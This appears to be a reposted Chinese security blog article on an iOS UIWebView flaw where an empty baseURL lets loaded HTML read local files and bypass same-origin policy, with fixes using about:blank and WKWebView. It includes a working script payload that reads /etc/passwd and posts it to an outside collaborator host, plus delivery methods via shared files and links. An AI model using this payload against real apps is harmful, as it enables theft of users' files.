内容简介:本篇文章会介绍一些我曾经在某些ios应用中看到的潜在安全问题。我认为程序开发者(同时也包括漏洞挖掘人员)应该意识到这个错误的配置,同时能保证webview的安全性。下面阐述的问题相当简单,但是常常被(开发者)错误的配置。当你想要在代码中配置一个webview的时候, 你通常会使用如下的代码:
本篇文章会介绍一些我曾经在某些ios应用中看到的潜在安全问题。我认为程序开发者(同时也包括漏洞挖掘人员)应该意识到这个错误的配置,同时能保证webview的安全性。
下面阐述的问题相当简单,但是常常被(开发者)错误的配置。当你想要在代码中配置一个webview的时候, 你通常会使用如下的代码:
[webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@""]]
很多开发人员都武断的认为,只要将baseURL设置为@””(空字符串)就是安全的。因为只要baseURL是空,那么攻击者就不能让webview加载任意有问题的网站,但显然这个观点是错误的。
事实上,当baseURL参数被设置成空字符串之后,有可能令攻击者访问到app的文件系统(通常来说会使用file://前缀)以及任意其他的网站,这样攻击者就绕过了SOP保护。
可以使用很多种方式利用这个错误的配置,其中最常见的是窃取文件,也就是说攻击者可以在webview中打开任意他能访问到的文件。举个例子, 首先看看下面这个简单的xss payload:
<script>
var request = new XMLHttpRequest();
request.open("GET","file:///etc/passwd",false);
request.send();
request.open("POST","http://nc3fefxjk1kpku6504yvqzeyspyjm8.burpcollaborator.net",false);
request.send(request.responseText);
</script>
这段payload会直接打开手机的”/etc/passwd”文件,并将文件内容发送到攻击者的服务器上(在这个例子中, 我将使用Burp Collaborator去验证收到的请求)。
我只是简单的将其保存为html文件,而后同步到我的icloud上, 最后使用app分享给被攻击者(通常来说是通过iOS11之后才出现的名为‘File’的app)。
随后,当用户打开文件的时候, 我自然而然就拿到了对方的passwd文件:
其他潜在的攻击方式包括以下几种:
- 使用一个内置的app打开url或者浏览器: 攻击者可以发送一个有危害的url给受害者(比如通过聊天工具),只要受害者点击链接就会在应用的webview中打开链接。
- URL schema滥用: 攻击者通过外部(比如:邮件或者iMessage)向受害者发送一个有害的URL。只要url schema在一个webview钟打开这个链接, 那么利用就有可能进行。
最简单的修复方案是让baseURL等于’about:blank’,而不是空字符串,例如:
[webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@"about:blank"]]
现在, webview运行在iphone的沙盒之内。攻击者可以实现一个简单的弹框, 但是没有办法窃取任何的数据或者和有危害的服务器通信。这个解决方案在某种场合下可能会影响应用的正常功能, 比如开发者从沙盒内加载了一张图片。在这个前提下, 你最好设计一个应用可以访问的目录、文件或者服务器的白名单。
如果开发者应该使用最新的webview类(”WKWebView”),而不是旧的webview类(”UIWebView”),那么可以令上诉攻击的成功率大大下降,以此提高应用安全性。WKWebView在默认情况下不运距AJAX请问访问本地问津系统(因此这篇博客使用的攻击方式在这种情况下无法正常使用,除非开发者显示的激活了这个功能)。除此之外,它还允许开发者启用或者禁止javascript代码的执行。
我希望上述的内容可以帮助到各位。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Docker——容器与容器云
浙江大学SEL实验室 / 人民邮电出版社 / 2015-9-1 / 89.00元
本书从实践者的角度,在讲解Docker高级实践技巧的同时,深入到源代码层次,为读者梳理出Docker容器技术和基于Docker的容器云技术(如Kubernetes)的实现方法和设计思路,帮助读者理解如何在实际场景中利用Docker解决问题并启发新的思考。全书包括两部分,第一部分深入解读Docker容器技术,包括Docker入门、架构总览、Docker容器核心原理解读,以及Docker高级实践技巧;......一起来看看 《Docker——容器与容器云》 这本书的介绍吧!
JS 压缩/解压工具
在线压缩/解压 JS 代码
HEX CMYK 转换工具
HEX CMYK 互转工具